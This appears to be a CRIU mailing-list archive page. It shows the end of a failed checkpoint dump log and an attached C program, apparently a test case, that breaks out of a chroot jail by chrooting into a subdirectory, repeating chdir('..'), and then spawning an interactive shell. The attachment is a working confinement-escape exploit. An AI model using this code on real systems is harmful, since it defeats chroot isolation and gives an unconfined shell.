> (00.925924) 	Unseizing 329 into 1
> (00.926236) 	Unseizing 330 into 1
> (00.926813) 	Unseizing 331 into 1
> (00.927308) 	Unseizing 332 into 1
> (00.928112) 	Unseizing 333 into 1
> (00.928854) 	Unseizing 335 into 1
> (00.930017) 	Unseizing 338 into 1
> (00.931919) 	Unseizing 339 into 1
> (00.934187) 	Unseizing 341 into 1
> (00.936200) 	Unseizing 342 into 1
> (00.936728) 	Unseizing 343 into 1
> (00.937140) 	Unseizing 345 into 1
> (00.938086) 	Unseizing 346 into 1
> (00.938344) 	Unseizing 347 into 1
> (00.938533) 	Unseizing 348 into 1
> (00.938873) 	Unseizing 705 into 1
> (00.940906) 	Unseizing 780 into 1
> (00.941629) 	Unseizing 848 into 1
> (00.942111) 	Unseizing 902 into 1
> (00.942543) 	Unseizing 925 into 1
> (00.943602) 	Unseizing 940 into 1
> (00.944340) 	Unseizing 964 into 1
> (00.945147) 	Unseizing 1023 into 1
> (00.946335) 	Unseizing 1062 into 1
> (00.946846) 	Unseizing 1078 into 1
> (00.947460) 	Unseizing 1107 into 1
> (00.958157) 	Unseizing 1127 into 1
> (00.958979) 	Unseizing 1150 into 1
> (00.959813) 	Unseizing 1209 into 1
> (00.960450) 	Unseizing 1224 into 1
> (00.961280) 	Unseizing 1244 into 1
> (00.962126) 	Unseizing 1275 into 1
> (00.962992) 	Unseizing 1294 into 1
> (00.963854) 	Unseizing 1339 into 1
> (00.964596) 	Unseizing 1374 into 1
> (00.965203) 	Unseizing 1412 into 1
> (00.965842) 	Unseizing 1455 into 1
> (00.966305) 	Unseizing 1483 into 1
> (00.978492) 	Unseizing 349 into 1
> (00.978914) 	Unseizing 350 into 1
> (00.980006) Error (cr-dump.c:1882): Dumping FAILED.
> _______________________________________________
> CRIU mailing list
> CRIU at openvz.org
> https://lists.openvz.org/mailman/listinfo/criu

-------------- next part --------------
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdlib.h>

#define TEMP_DIR "waterbuffalo"

/* Break out of a chroot() environment in C */

int main() {
	int x;						/* Used to move up a directory tree */
	int done=0;			 /* Are we done yet ? */
	struct stat sbuf; /* The stat() buffer */

	if (stat(TEMP_DIR,&sbuf)<0) {
		if (errno==ENOENT) {
			if (mkdir(TEMP_DIR,0755)<0) {
				fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
								strerror(errno));
				exit(1);
			}
		} else {
			fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
							strerror(errno));
			exit(1);
		}
	} else if (!S_ISDIR(sbuf.st_mode)) {
		fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
		exit(1);
	}

	if (chroot(TEMP_DIR)<0) {
		fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
						strerror(errno));
		exit(1);
	}

	for(x=0;x<1024;x++) {
		chdir("..");
	}
	chroot(".");

	if (execl("/bin/sh","-i",NULL)<0) {
		fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
		exit(1);
	}
}


More information about the CRIU mailing list